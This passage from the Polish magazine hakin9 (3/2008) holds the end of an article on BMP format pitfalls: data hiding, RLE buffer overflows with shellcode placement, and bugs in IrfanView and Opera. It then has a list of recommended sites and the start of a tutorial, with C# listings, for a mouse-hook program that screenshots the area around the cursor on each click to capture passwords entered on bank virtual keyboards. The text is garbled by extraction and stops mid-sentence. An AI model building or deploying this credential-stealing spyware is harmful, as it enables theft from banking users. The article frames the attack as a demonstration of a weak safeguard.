dza czy w dopełnieniu zostały użyte
zera, można więc wykorzystać dopeł-
nienie  do  ukrycia  własnych  danych.
Korzystając  z  tego  sposobu  można
ukryć,  w  zależności  od  szerokości
wiersza, od 1 do 3 bajty na wiersz ra-
zy wysokość bitmapy.

W przypadku 24-bitowej bitmapy

BI _ RGB

kolejne bajty zawierają, po-

dobnie  jak  w  palecie  barw,  wartość
barwy niebieskiej, zielonej oraz czer-
wonej każdego piksela (po 3 bajty na
piksel). Przykładowo, 00 00 00 zosta-
nie  wyświetlone  na  ekranie  na  kolor
czarny, a 00 FF 00 na kolor zielony.
Popularną  metodą  steganograficzną
jest  użycie  najmniej  znaczącego  bi-
tu każdej barwy w każdym pikselu do
przechowania ukrytych informacji.

W przypadku 8-bitowej bitmapy

kolejne bajty zawierają numery kolo-
rów z palety kolorów, a podczas prze-
noszenia bitmapy na 24-bitowy ekran
każdy piksel jest zamieniany z nu-
meru koloru na wartości poszcze-
gólnych barw pobrane z palety kolo-

rów. W przypadku 8-bitowej bitmapy
w wypadku gdy nie wszystkie kolory
są  używane  (lub  w  wypadku  bitmap
1-bitowych  i  4-bitowych  skonwerto-
wanych  do  8-bitowej  bitmapy)  moż-
na  ukryć  dodatkowe  informacje  bez
zmiany wyglądu bitmapy poprzez po-
wielenie  części  palety  kolorów  i  sto-
sowanie  zamiennie  kolorów  z  czę-
ści oryginalnej (0) lub powielonej (1).
W przypadku 4-bitowych bitmap (czy-
li  16-kolorowych)  skonwertowanych
do 8-bitowych paletę kolorów można
powielić 16 razy (256/16 = 16), dzię-
ki czemu na dobrą sprawę najbardziej
znaczące 4 bity każdego bajtu mogą
zawierać dowolne ukryte dane.

Dane obrazu – BI_RLE8

Ostatnią  poruszaną  w  tym  artykule
kwestią  dotyczącą  BMP  jest  kodo-
wanie  RLE  8-bitowych  bitmap.  RLE
(ang. Run Length Encoding) jest bar-
dzo prostą metodą kompresji polega-
jącą na zapisie danych w postaci pary
ilość wystąpień oraz znak. Przykłado-
wo ciąg AAAABBB za pomocą RLE
został  by  skompresowany  do  4A3B.
W  przypadku  BMP  za  równo  ilość
wystąpień  oraz  znak  mają  wielkości
jednego bajtu (czyli razem 16 bitów).
Oprócz tego BMP RLE posiada rów-
nież specjalne znaczniki zaczynające
się od bajtu zerowego (czyli ilość wy-
stąpień wynosi zero), są to:

00 00 – Przejście na początek

następnego  wiersza  bitmapy  (czy-
li kolejne dane opisują nowy wiersz,
przyjmuje  się  że  do  końca  obec-
nego  wiersza  dane  mają  kolor  0).

Większość aplikacji oczekuje że każ-
dy wiersz będzie zakończony 00 00,
ale istnieją również takie (IrfanView)
u których jest to niekonieczne.

00 01 – Zakończenie bitmapy. Je-

żeli pozostały jakieś niezapisane pik-
sele, nadaje się im kolor 0. 00 02 XX
YY – Ten znacznik składa się z czte-
rech  bajtów.  Dwa  dodatkowe  bajty
zawierają  liczbę  kolumn  oraz  wier-
szy  o  jaką  wskaźnik  zapisu  należy
przesunąć  (czyli  mówi  o  tym  ile  pik-
seli  i  wierszy  dalej  znajdują  się  na-
stępne  dane).  Wszystkie  pominię-
te piksele przyjmuje się że mają ko-
lor 0. 00 NN ... (gdzie NN >= 3) – Jest
to znacznik przełączający dekompre-
sje w tzw. tryb bezwzględny. Zaraz po
nim następują bajty które nie są zako-
dowane RLE, a po prostu przepisane
z  kompresowanej  bitmapy  –  o  ilości
tych bajtów mówi drugi bajt znaczni-
ka (oznaczony jako NN). Bajty nastę-
pujące po znaczniku powinny zostać
po prostu przepisane na rozpakowa-
ną bitmapę. W przypadku gdy liczba
NN jest nieparzysta, należy następu-
jące bajty dopełnić jednym bajtem ze-
rowym,  w  celu  uzyskania  parzystej
liczby bajtów. Oczywiście żadna apli-
kacja nie sprawdza czy jest to bajt ze-
rowy, można więc zapełnić do ukryty-
mi informacjami.

Tak skonstruowana kompre-

sja  RLE  stawia  wiele  pułapek  przed
programistą,  i  jednocześnie  stwa-
rza  wiele miejsc na ukrycie danych.
Przykładowo osoba chcąca ukryć da-
ne może posłużyć się różnymi sposo-
bami  skompresowania  tej  samej  bit-

Rysunek 3.

Ta sama bitmapa różnie

rysowana w różnych programach

Rysunek 4.

Brak kontroli wartości pola bfOffBits w mspaint.exe

hakin9 Nr 3/2008

www.hakin9.org

Atak

mapy używając różnych znaczników.
Przykładowo bitmapa składająca się
z  kolorów  AABBBCC  może  zostać
zapisana jako 02 A 03 B 02 C, lub ja-
ko 01 A 01 A 02 B 01 B 01 C 01 C, lub
nawet  –  korzystając  ze  specjalnych
znaczników – jako 00 03 A A B 00 00
02 00 00 01 B 02 C. Pomijając spra-
wy  skuteczności  kompresji,  liczba
możliwości w jaki sposób można za-
pisać  taką bitmapę jest nieskończo-
na (choćby dlatego że znacznik 00 02
00 00 można wstawiać bezkarnie do-
wolną ilość razy) – można więc stwo-
rzyć pewnego rodzaju kod dzięki któ-
remu można by przechowywać infor-
macje w bitmapie, bez zmiany jej fak-
tycznego wyglądu.

Jeżeli zaś chodzi o pułapki, to

pierwszą  rzucającą  się  w  oczy  jest
przepełnienie  bufora  w  przypad-
ku gdy programista nie sprawdzi czy
dekompresja  pojedynczej  pary  RLE
nie  przepełni  bufora.  Łatwo  wyobra-
zić sobie przypadek w którym bitma-
pa o wielkości 1x1 zawiera w danych
obrazu znacznik FF 00 (czyli 255 ra-
zy bajt 0). W przypadku braku kontro-
li czy wskaźnik dekompresji nie wyj-
dzie po za bufor, takie coś może spo-
wodować w najlepszym wypadku wy-
jątek, a w najgorszym wykonanie ko-
du.  Analogiczna  pułapka  występu-
je  w  przypadku  znacznika  włączają-
cego tryb bezwzględny. Zapis

00 FF

<shellcode> 00

w danych bitmapy mo-

że doprowadzić do faktycznego wy-
konania kodu (prawdopodobnie bę-
dzie to trudne, ale jednak możliwe).

Powyższe pułapki są jednak bar-

dzo oczywiste, i mało który programi-
sta  w  nie  wpada.  Troszeczkę  mniej
oczywistą  pułapką  jest  znacznik  00
02  XX  YY  służący  do  przesuwania
do  przodu  znacznika  zapisu  dekom-
presowanych  danych.  Ivan  Fratric  6
kwietnia  roku  2007  opublikował  in-
formacje na temat wykorzystania ta-
gu  00  02  XX  YY  do  wykonania  ko-
du  w  ACDSee  oraz  IrfanView.  Pro-
blem  polegał  na  tym  iż  programiści
w  obu  przypadkach  nie  sprawdza-
li czy wskaźnik zapisu po wykonaniu
znacznika  00  02  XX  YY  nie  opuścił
bufora  bitmapy.  Możliwe  zatem  sta-
ło  się  nakierowanie  wskaźnika  zapi-
su na dowolny fragment pamięci, i na-

stępnie nadpisanie go dowolnymi da-
nymi.  W  przypadku  IrfanView,  który
w  tej  wersji  spakowany  był  ASPac-
kiem,  sytuację  dodatkowo  pogarszał
fakt  iż  sekcja  .text  (w  której  znajdu-
je  się  kod  programu,  patrz  pliki  PE)
miała prawa do zapisu, czyli atakują-
cy  mógł  przesunąć  wskaźnik  zapisu
za pomocą serii 00 02 FF FF na sek-
cje .text, a następnie nadpisać znaj-
dujący  się  tam  kod  własnym  kodem
– na przykład uruchamiającym back-
doora. Nowsze wersje IrfanView (od
4.00 włącznie) nie są jednak już po-
datne na ten błąd.

Pewien mniej groźny błąd, ale

mogący  utrudnić  życie  użytkowniko-
wi, znalazł autor (współpracując z ha-
kerem o pseudonimie Simey) w prze-
glądarce  Opera  (9.24  oraz  9.50  be-
ta). Programiści Opery popełnili błąd
podczas  implementowania  tagu  00
02  XX  YY  który  powodował  iż  ob-
sługa  tego  znacznika  była  niewiary-
godnie  wolna.  Dzięki  temu  stało  się
możliwe  stworzenie  bitmapy  której
przetwarzanie  w  Operze  trwa  4  mi-
nuty na bardzo szybkim komputerze,
a 20 minut na średnim – w tym czasie
Opera nie reaguje na żadne bodźce
zewnętrzne. Atakujący mógłby stwo-
rzyć stronę WWW zawierającą setki
takich bitmap, przez co przeglądarka
nieświadomego  użytkownika  mogła
by  odmówić  posłuszeństwa  na  dłu-
gie godziny.

Podsumowując, kodowanie RLE

stwarza wiele możliwości ataku oraz
ukrycia informacji. Należy zachować
szczególną ostrożność implementu-
jąc obsługę RLE w formacie BMP.

Bezpieczna

implementacja

Programista  powinien  pamiętać,  iż
zgodność  ze  standardem  zapewnia
bezpieczną obsługę jedynie popraw-
nych bitmap faktycznie zgodnych ze
standardem  –  pliki  BMP  zgodne  je-

dynie w części ze standardem mogą
przysporzyć sporo problemów. Wda-
jąc się w szczegóły techniczne, pro-
gramista  powinien  zwracać  uwagę
szczególnie  na  sprawdzenia  granic
używanych  buforów  i  tablic  –  bufo-
ru obrazu, buforu skompresowanych
danych, czy palety kolorów. Granice,
co  nie  dla  wszystkich  jest  oczywi-
ste, powinny być sprawdzane z obu
stron, aby zapobiec zarówno błędom
typu buffer overflow, jak i błędom ty-
pu buffer underflow. Programista po-
winien  również  używać  odpowied-
niego  rozmiaru  zmiennych,  lub  sto-
sownego ograniczania wartości, aby
zapobiec  sytuacjom  z  przepełnie-
niem zmiennej całkowitej (ang. inte-
ger overflow) – warto w tym wypad-
ku  zwrócić  uwagę  szczególnie  na
równanie  obliczające  wielkość  bit-
mapy. Czytając standard należy my-
śleć nie tylko o tym, jak go zaimple-
mentować, ale również jak zabezpie-
czyć przed nieprawidłowym użyciem
każdej  pojedynczej  cechy  formatu,
co może się stać, gdyby któreś po-
le  nagłówka  przyjęło  nieprawidłową
(z logicznego punktu widzenia) war-
tość, oraz jakie mogą być tego kon-
sekwencje. Należy pamiętać, iż pro-
gramista musi zabezpieczyć wszyst-
ko, ponieważ atakujący musi znaleźć
tylko jeden błąd.

Podsumowanie

Format  BMP,  mimo  swojej  pozor-
nej  prostoty  (w  porównaniu  do  np.
PNG  czy  JPEG)  jest  najeżony  pu-
łapkami, miejscami gdzie można po-
pełnić choćby drobny błąd, oraz za-
wiera wiele miejsc w których można
ukryć dodatkowe dane, bez wpływa-
nia na wyświetlaną bitmapę.

Jako zadanie domowe pozosta-

wiam czytelnikowi analizę zapisu da-
nych obrazu metodą BI_BITFIELD,
oraz analizę pozostałych wersji for-
matu BMP. l

O autorze

Michał Składnikiewicz, inżynier informatyki, ma wieloletnie doświadczenie jako pro-
gramista oraz reverse engineer. Obecnie jest koordynatorem działu analiz w między-
narodowej firmie specjalizującej się w bezpieczeństwie komputerowym.
Kontakt z autorem: gynvael@coldwind.pl

Strony rekomendowane

Misją serwisu jest zaprezentowanie języ-

ków programowania oraz ułatwienie użyt-

kownikowi ich szybkiej nauki.

http://www.cjp.xt.pl

Strona firmy świadczącej profesjonalne

usługii IT, specjalizującej się w wypożycza-

niu serwerów i macierzy. Firma prowadzi

także centrum szkoleniowe.

http://www.itlpolska.pl

Portal poświęcony technikom programo-

wania oraz sposobom ochrony przed za-

grożeniami jakie płyną z Internetu. Przedsta-

wione techniki służą do celów edukacyjnych,

nie należy ich wykorzystywać w niewłaści-

wy sposób.

http://www.hackerzy.pl

Portal internetowy poświęcony w całości

branży IT. Podzielony jest na trzy działy po-

święcone sprzętowi komputerowemu, grom

i rozrywce oraz najnowszym aplikacjom.

http://www.pcarena.pl/index.php

Do niedawna termin hacking był zarezerwo-

wany tylko dla profesjonalistów. Na tym por-

talu można dowiedzieć się więcej o tym za-

gadnieniu. Znajdują się na nim również aktu-

alności i obszerny dział downloads.

http://www.hakerczat.prv.pl/index.html

Portal dla wszystkich zainteresowanych te-

matyką bezpieczeństwa, audytem, IT Go-

vernance w sieciach i systemach teleinfor-

matycznych, a także ochroną danych.

http://www.locos.pl/

Witryna poświęcona w całości tematy-

ce hakingu. Początkujący w tej dziedzinie

znajdą na niej działy, ktore im umożliwią

rozpoczęcie nauki.

http://www.haker.ocom.pl/

Misją serwisu jest dostarczenie dużej ilo-

ści informacji z zakresu informatyki. Znaj-

dują się na nim ciekawe artykuły, najśwież-

sze informacje z rynku IT, recenzje książek

jak i kursy tworzenia portali www.

http://www.swww.pl/

Serwis poświęcony branży IT oferujący

codzienne newsy, artykuły, recenzje ma-

gazynów, testy oraz forum dyskusyjne.

http://www.webhat.pl/index.php

Strona dla każdego webmastera i hackera.

Jeśli zawsze chciałeś stworzyć swoją stro-

nę internetowej lub poznać haking od pod-

szewki, to ten serwis Ci w tym pomoże.

http://web4u.neth.pl/

Strona internetowa firmy Fit Consulting spe-

cjalizującej się w nowoczesnych rozwią-

zaniach informatycznych, zaczynając od

sprzedaży sprzętu komputerowego i świad-

czeniu usług po zaawansowane rozwiązania

zarządzania przedsiębiorstwem.

http://www.fit-consulting.pl/

Strona koła naukowego PK IT Security Gro-

up. Koło ma na celu dostarczanie informacji

związanych z bezpieczeństwem.

http://www.pkitsec.pl/

Strony rekomendowane

www.hakin9.org

hakin9 Nr 3/2008

Atak

anki  obracają  naszymi  pieniędzmi.
Starają  się  przy  tym  zachować  mak-
simum  bezpieczeństwa.  W  końcu,

kto chciałby ulokować swoje ciężko zarobio-
ne oszczędności w banku, który nie zapew-
ni im należytej ochrony? Obecnie większość
kont standardowo oferuje dostęp przez Inter-
net.  I  tu  zaczynają  się  poważne  schody  dla
banków.  Przeciętny  użytkownik  bankowości
elektronicznej  ma  niewielkie  pojęcie  o  bez-
pieczeństwie.  Korzysta  ze  źle  skonfiguro-
wanego komputera, zgadza się na instalację
obiektów  ActiveX  pochodzących  z  niezna-
nych  źródeł  itd.  Działają  u  niego  programy
odczytujące hasła wprowadzane z klawiatu-
ry (ang. keylogger). Pokazywaliśmy już w ha-
kin9  1/2008,  w  jaki  sposób  można  samemu
napisać taki program w języku C#. Aby temu
przeciwdziałać,  niektóre  instytucje  wprowa-
dziły tzw. wirtualne klawiatury. Podczas logo-
wania się użytkownik musi wprowadzić hasło
które  –  zamiast  wpisywać  z  prawdziwej  kla-
wiatury – może wprowadzić klikając myszką
klawisze  wyświetlone  w  przeglądarce  inter-
netowej (Rysunek 1).

To rozwiązanie ma w teorii przeciwdzia-

łać przechwytywaniu haseł przez keyloggery.

Naturalnie  standardowy  keylogger  nie  pora-
dzi sobie z takim zabezpieczeniem. Wystar-
czy jednak chwilę pomyśleć i – używając tych
samych  technik  programowania,  co  w  przy-
padku  keyloggera  –  napisać  program,  który
z  łatwością  obchodzi  wirtualną  klawiaturę.
Czytelnik pewnie już zdążył się zorientować,
że chodzi tu o robienie zrzutów ekranu pod-
czas, gdy ofiara klika myszką. Użyjemy me-
chanizmu  haków  –  tego  samego,  który  słu-
żył nam wcześniej do przechwytywania tek-
stu wprowadzanego z klawiatury. Tym razem
zdarzenie, jakie musimy przechwycić, to kli-
kanie klawiszami myszki. Zamiast zapisywać

Atak na wirtualną

klawiaturę

Maciej Pakulski, Sławomir Orłowski

stopień trudności

Wirtualna klawiatura ma przeciwdziałać wykradaniu haseł

przez programy typu keylogger, czyli w domyśle ma podnosić

bezpieczeństwo podczas logowania przez Internet. W tym

artykule chcemy pokazać, jak łatwo to zabezpieczenie złamać.

Z artykułu dowiesz się

• jak działają haki w systemie Windows,
• jak z poziomu kodu C# monitorować.

Co powinieneś wiedzieć

• podstawy programowania zorientowanego

obiektowo,

• podstawy działania systemu Windows,
• podstawowa znajomość sieci komputerowych.

Atak na wirtualną klawiaturę

hakin9 Nr 3/2008

www.hakin9.org

znaki do pliku, musimy wykonywać
zrzut  ekranu  i  przechować  go  na
dysku.  Poza  tym  wszystko  wyglą-
da  tak  samo!  Wniosek  z  tego,  że
pieniądze  (pewnie  spore)  wydane
na  wprowadzenie  nowego  zabez-
pieczenia okazują się być pieniędz-
mi wyrzuconymi w błoto. Używając

tych  samych  technik  programowa-
nia, atakujący może z łatwością na-
pisać program, który odczyta wpro-
wadzane hasło. I nie ma co bronić
się  stwierdzeniami  typu  zabezpie-
czenia  są  zawsze  krok  za  ataku-
jącym, które zawsze z góry skazu-
je zabezpieczenie na porażkę. Nie

będziemy także komentować faktu,
że w przypadku jednego z banków
klawisze  w  wirtualnej  klawiaturze
zmieniają swój wygląd przy kliknię-
ciu. Takie zachowanie tylko ułatwia
wykradzenie hasła, bo nie musimy
się już martwić o odczytanie pozy-
cji  kursora.  My  jednak  na  łatwiznę
nie idziemy i zaprezentujemy meto-
dę  umieszczającą  kursor  na  zrzu-
cie ekranu. W tym artykule nie bę-
dziemy opisywać, jak zrzuty ekranu
wysyłać  przez  Internet,  jak  omijać
firewall itd. Chcemy zwrócić uwagę
na  to,  w  jak  prosty  sposób  każdy,
kto zaimplementował już keylogge-
ra, może napisać program odczytu-
jący  hasła  z  wirtualnej  klawiatury.
A przecież miała ona przeciwdzia-
łać tego typu atakom.

Tworzymy bibliotekę

łączoną dynamicznie

Podobnie  jak  w  artykule  z  hakin9
1/2008,  rozpoczynamy  od  stwo-
rzenia  biblioteki  DLL.  Uruchamia-
my Visual C# 2005 i wybieramy Fi-
le –> New Project –> Class Libra-
ry. Projektowi nadajemy nazwę Mo-
useProcDll.  Pierwszą  czynnością
będzie  dodanie  niezbędnych  funk-
cji

WinApi

z Listingu 1. Aby móc

zaimportować  funkcje  systemo-
we,  musimy  najpierw  dodać  prze-
strzeń  nazw  System.Runtime.Inte-
ropServices.

Funkcja CallNextHookEx zosta-

ła opisana w artykule o podsłuchi-
waniu klawiatury (hakin9 1/2008).

Funkcja GetCursorInfo dostar-

cza nam informacji o kursorze. Jej
parametrem  jest  struktura  CUR-
SORINFO.  Aby  móc  korzystać
z tej struktury, musimy ją wcześniej
zdefiniować  –  odpowiedni  kod  za-
warty  jest  na  Listingu  2.  Funkcja
zwraca wartość różną od zera, je-
żeli zdziała poprawnie. Za pomocą
GetIconInfo uzyskujemy informacje
o  ikonie  bądź  kursorze.  My  użyje-
my tej funkcji do określenia tzw. hot
spot  kursora,  czyli  miejsca  aktyw-
nego (dla kursora będącego strzał-
ką hot spot znajduje się na czubku
grota). Parametry funkcji to uchwyt
do ikony bądź kursora oraz struktu-
ra ICONINFO, której definicję rów-

Listing 1.

Import funkcji WinApi

[

DllImport

(

"user32.dll"

)]

private

static

extern

IntPtr

CallNextHookEx

(

IntPtr

hhk

int

nCode

IntPtr

wParam

IntPtr

lParam

);

[

DllImport

(

"user32.dll"

)]

public

static

extern

bool

GetCursorInfo

(

out

CURSORINFO

pci

);

[

DllImport

(

"user32.dll"

)]

public

static

extern

bool

GetIconInfo

(

IntPtr

hIcon

out

ICONINFO

piconinfo

);

Listing 2.

Struktury CURSORINFO i ICONINFO

[

StructLayout

(

LayoutKind

Sequential

)]

public

struct

ICONINFO

{

public

bool

fIcon

;

public

Int32

xHotspot

;

public

Int32

yHotspot

;

public

IntPtr

hbmMask

;

public

IntPtr

hbmColor

;

}

[

StructLayout

(

LayoutKind

Sequential

)]

public

struct

CURSORINFO

{

public

int

cbSize

;

public

int

flags

;

public

IntPtr

hCursor

;

public

Point

ptScreenPos

;

}

Rysunek 1.

Wirtualna klawiatura jednego z banków

hakin9 Nr 3/2008

www.hakin9.org

Atak

nież  przedstawia  Listing  2.  Funk-
cja  również  zwraca  wartość  różną
od  zera  w  przypadku  poprawnego
działania.

Następnym krokiem jest doda-

nie do naszej klasy pół z Listingu 3.

Pola

WM _ LBUTTONDOWN

oraz

WM _ RBUTTONDOWN

przechowują ko-

dy  komunikatów  systemu  Win-
dows  oznaczających  odpowiednio
wciśnięcie  lewego  i  prawego  kla-
wisza  myszy.  Pole

counter

wyko-

rzystamy do oznaczenia kolejności
zapisywanego  pliku  na  dysku,  po-
cząwszy od 0. Pole to będziemy in-
krementować  przy  każdym  zapisie
obrazu i dodawać jego wartość do
nazwy pliku. W ten sposób kolejne
pliki  będą  miały  unikalną  nazwę.
Pole

imagePath

jest ścieżką do ka-

talogu, w którym zapiszemy plik.

Teraz możemy przejść do napi-

sania odpowiednich metod. Pierw-
sza z nich, o nazwie

SaveScreen

będzie tworzyć obiekt klasy

Bitmap

reprezentujący

wycinek

ekra-

nu. Musimy jeszcze dodać prze-
strzenie nazw

System.Drawing

System.Drawing.Imaging

oraz

System.Windows.Forms

Algorytm

opisujący  tworzenie  zrzutu  ekra-
nu został opisany w hakin9 2/2008.
Jednakże  tworzenie  zrzutu  całe-
go  ekranu  wymaga  dość  sporego
nakładu  pracy  procesora.  Gdyby
użytkownik  naciskał  klawisze  my-
szy bardzo szybko, mogłoby dojść
do  chwilowych  blokad  płynnego
działania  systemu.  Tak  więc  bę-
dziemy tworzyć tylko wycinki ekra-
nu  o  wymiarach  100x100  pikseli.
W  ten  sposób  ominiemy  problem
dużych zrzutów ekranu, nie tracąc
przy  tym  możliwości  rozpoznawa-
nia  klawiszy  wirtualnej  klawiatury.
Kod metody jest przedstawiony na
Listingu 4.

Pierwsze 4 instrukcje warunko-

zapobiegają próbie zapisu

obrazu poza ekranem monitora.

Jeżeli metoda zadziała popraw-

nie, zwraca referencję do obiektu
klasy

Bitmap

, reprezentującej wy-

cinek ekranu. W przeciwnym wy-
padku dostajemy wartość

null

Stworzony w metodzie

SaveScreen

obiekt nie zawiera jednak żadnych

Listing 3.

Dodane pola tworzonej klasy

private

static

int

WM_LBUTTONDOWN

0x201

;

private

static

int

WM_RBUTTONDOWN

0x204

;

private

static

long

counter

;

private

static

string

imagePath

"C:

creen"

;

Listing 4.

Metoda tworząca obiekt klasy Bitmap, reprezentującej

wycinek ekranu (bez kursora)

private

static

Bitmap

SaveScreen

(

ref

int

mouseX

ref

int

mouseY

)

{

try

{

int

xCoord

mouseX

yCoord

mouseY

;

int

tmpMouseX

tmpMouseY

;

((

mouseX

)

{

xCoord

;

tmpMouseX

mouseX

;

}

((

mouseX

)

Screen

PrimaryScreen

Bounds

Width

)

{

xCoord

Screen

PrimaryScreen

Bounds

Width

100

;

tmpMouseX

100

(

Screen

PrimaryScreen

Bounds

Width

mouseX

);

}

((

mouseY

)

{

yCoord

;

tmpMouseY

mouseY

;

}

((

mouseY

)

Screen

PrimaryScreen

Bounds

Height

)

{

yCoord

Screen

PrimaryScreen

Bounds

Height

100

;

tmpMouseY

100

(

Screen

PrimaryScreen

Bounds

Height

mouseY

);

}

Bitmap

bitmap

new

Bitmap

(

100

PixelFormat

Format32bppArgb

);

Graphics

screenshot

Graphics

FromImage

(

bitmap

);

screenshot

CopyFromScreen

(

xCoord

yCoord

new

Size

(

100

)

CopyPixelOperation

SourceCopy

);

mouseX

tmpMouseX

;

mouseY

tmpMouseY

;

return

bitmap

;

}

catch

{

}

return

null

;

}

Listing 5.

Metoda tworząca obiekt klasy Icon

private

static

Icon

CursorIcon

()

{

try

{

CURSORINFO

new

CURSORINFO

();

cbSize

Marshal

SizeOf

(

);

GetCursorInfo

(

out

);

Icon

icon

Icon

FromHandle

(

hCursor

);

(

icon

null

)

return

icon

;

}

catch

{

}

return

null

;

}

Atak na wirtualną klawiaturę

hakin9 Nr 3/2008

www.hakin9.org

informacji  o  kursorze.  Naszym  za-
daniem  jest  więc  stworzenie  kolej-
nego  obiektu  klasy

Bitmap

, który

będzie reprezentował kursor i po-
łączenie tych dwóch obiektów w je-
den, reprezentujący wycinek ekranu
wraz z kursorem. Wykorzystamy do
tego dwie metody. Pierwsza z nich
będzie tworzyć obiekt klasy

Icon

Kod tej metody jest przedstawiony
na Listingu 5.

Na początku deklarujemy obiekt

struktury

CURSORINFO

, który używa-

my następnie jako parametr w funk-
cji

GetCursorInfo

. Ważne jest, aby

przed wywołaniem tej funkcji usta-
wić wartość pola cbSize nasze-
go obiektu na ilość bajtów zajmo-

wanych przezeń w pamięci. Uży-
wamy do tego statycznej metody

SizeOf

klasy

Marshal

. W następnym

kroku, używając statycznej meto-
dy

FromHandle

klasy

Icon

, uzysku-

jemy referencję do nowo utworzo-
nego obiektu. Jako parametr prze-
kazujemy uchwyt do kursora, który
jest jednym z pól obiektu struktury

CURSORINFO

Za pomocą uzyskanego obiektu

klasy

Icon

możemy stworzyć obiekt

klasy

Bitmap

reprezentujący kursor

i połączyć ten obiekt z obiektem
klasy

Bitmap

reprezentującym wyci-

nek ekranu. Wykorzystamy do tego
celu metodę

SaveScreenWithCursor

której parametrami są współrzędne
kursora. Jej kod jest przedstawiony
na Listingu 6.

Metoda ta wykorzystuje zde-

finiowane

wcześniej

metody

SaveScreen

oraz

CursorIcon

. W ce-

lu uzyskania informacji o ikonie wy-
korzystujemy funkcję

GetIconInfo

Uzyskamy w ten sposób współ-
rzędne miejsca aktywnego kursora
(hot spot). Współrzędne te wyko-
rzystujemy do przesunięcia współ-
rzędnych kursora w celu uzyskania
prawidłowego położenia kursora na
ekranie. Prezentuje to Rysunek 2.

Następnie, posługując się obiek-

tem klasy

Graphics

, łączymy obiek-

ty klasy

Bitmap

w celu uzyskania

obiektu reprezentującego wycinek
ekranu wraz z kursorem. Na końcu
zapisujemy obraz na dysku w for-
macie JPEG.

Ostatnim krokiem będzie napi-

sanie funkcji monitorującej. Jej kod
jest przedstawiony na Listingu 7.

Pierwsza instrukcja

spraw-

dza, czy został wciśnięty prawy

Listing 6.

Metoda zapisująca wycinek ekranu wraz z kursorem w

formacie JPEG

private

static

void

SaveScreenWithCursor

(

int

mouseX

int

mouseY

)

{

try

{

Bitmap

screen

SaveScreen

(

ref

mouseX

ref

mouseY

);

(

screen

null

)

{

ICONINFO

;

Icon

cursorIcon

CursorIcon

();

(

cursorIcon

null

)

{

(

GetIconInfo

(

cursorIcon

Handle

out

))

{

int

mouseX

xHotspot

;

int

mouseY

yHotspot

;

Bitmap

cursor

cursorIcon

ToBitmap

();

Rectangle

new

Rectangle

(

cursor

Width

cursor

Height

);

Graphics

FromImage

(

screen

);

DrawImage

(

cursor

);

Flush

();

screen

Save

(

imagePath

(

counter

++)

".jpeg"

ImageForm

Jpeg

);

}

catch

{

}

Listing 7.

Funkcja monitorująca

public

static

IntPtr

MouseProc

(

int

code

IntPtr

wParam

IntPtr

lParam

)

{

try

{

((

wParam

ToInt64

()

WM_LBUTTONDOWN

wParam

ToInt64

()

WM_RBUTTONDOWN

)

code

)

{

MSDLLHOOKSTRUCT

mouseStruct

(

MSDLLHOOKSTRUCT

)

Marshal

PtrToStru

cture

(

lParam

typeof

(

MSDLLHOOKSTRUCT

));

SaveScreenWithCursor

(

mouseStruct

);

}

catch

{

}

return

CallNextHookEx

(

IntPtr

Zero

code

wParam

lParam

);

}

Listing 8.

Struktura

MSDLLHOOKSTRUCT

[

StructLayout

(

LayoutKind

Sequenti

)]

struct

MSDLLHOOKSTRUCT

{

public

Point

;

public

int

mouseData

;

public

int

flags

;

public

int

time

;

public

IntPtr

dwExtraInfo

;

}

hakin9 Nr 3/2008

www.hakin9.org

Atak

Listing 9.

Klasa MouseProcInstall

using

System

;

using

System

Runtime

InteropServices

;

using

System

Reflection

;

namespace

InstallMouseProc

{

class

MouseProcInstall

{

[

DllImport

(

"user32.dll"

)]

private

static

extern

IntPtr

SetWindowsHookEx

(

int

code

MouseProcDelegate

func

IntPtr

hInstance

int

threadID

);

[

DllImport

(

"user32.dll"

)]

private

static

extern

bool

UnhookWindowsHookEx

(

IntPtr

hhk

);

[

DllImport

(

"Kernel32.dll"

)]

private

static

extern

IntPtr

GetModuleHandle

(

string

moduleName

);

private

delegate

IntPtr

MouseProcDelegate

(

int

code

IntPtr

wParam

IntPtr

lParam

);

private

static

MouseProcDelegate

mouseDelegate

;

private

IntPtr

result

;

private

const

int

WH_MOUSE_LL

0x0e

;

private

bool

GetHookProc

()

{

try

{

string

Environment

CurrentDirectory

"MouseProcDll.dll"

;

Assembly

LoadFrom

(

);

Type

[]

tab

GetExportedTypes

();

MethodInfo

methodInfo

null

;

foreach

(

Type

tab

)

{

methodInfo

GetMethod

(

"MouseProc"

);

}

mouseDelegate

(

MouseProcDelegate

)

Delegate

CreateDelegate

(

typeof

(

MouseProcDelegate

)

methodInfo

);

return

true

;

}

catch

{

return

false

;

}

public

bool

InstallHook

()

{

try

{

(

GetHookProc

())

{

result

SetWindowsHookEx

(

WH_MOUSE_LL

mouseDelegate

GetModuleHandle

(

"MouseProcDll"

)

);

return

true

;

}

else

return

false

;

}

catch

{

return

false

;

}

public

void

CloseHook

()

{

UnhookWindowsHookEx

(

result

);

}

Atak na wirtualną klawiaturę

hakin9 Nr 3/2008

www.hakin9.org

bądź lewy przycisk myszy oraz
czy parametr

code

jest większy lub

równy 0. Następnie, używając sta-
tycznej metody

PtrToStructure

kla-

Marshal

, zamieniamy parametr

lParam

na strukturę

MSDLLHOOKSTRUCT

Strukturę tę musimy jednak naj-
pierw zdefiniować. Dodajemy przed
definicją klasy kod z Listingu 8.

Pierwszym

polem

struktu-

ry jest obiekt

Point

, który okre-

śla  współrzędne  kursora.  Pola  X
oraz  Y  tej  struktury  wykorzystu-
jemy  jako  parametry  dla  metody

SaveScreenWithCursor

, która zapisu-

je wycinek ekranu na dysku. Ostat-
nią czynnością jest wywołanie
funkcji

CallNextHookEx

w celu prze-

kazania parametrów do ewentual-
nej kolejnej zainstalowanej funkcji
monitorującej.

Instalacja funkcji

monitorującej

Instalacja funkcji monitorującej dla
haków przechwytujących komunika-
ty myszy jest prawie identyczna, jak

dla  komunikatów  klawiatury  (patrz
artykuł  w  hakin9  1/2008).  Dlatego
nie  będziemy  tu  opisywać  dokład-

nie  kodu,  lecz  ograniczymy  się  tyl-
ko  do  podania  go.  Tworzymy  nowy
projekt  –  Windows  Forms  Applica-

Rysunek 2.

Przesunięcie obrazu kursora w celu uzyskania prawidłowego

położenia kursora na obrazie ekranu

Wycinek

ekranu

mouseX

mouseY

yHotspot

Obraz kursora

hakin9 Nr 3/2008

www.hakin9.org

Atak

tion. Nazwiemy go InstallMouse-
Proc. Dodajemy nową klasę o na-
zwie

MouseProcInstall

. Jej kod jest

przedstawiony na Listingu 9.

W porównaniu z instalacją funk-

cji  monitorującej  dla  podsłuchu
klawiatury,  tym  razem  pierwszy
parametr  funkcji

SetWindowsHookEx

musi mieć wartość

0x0e

, gdyż wy-

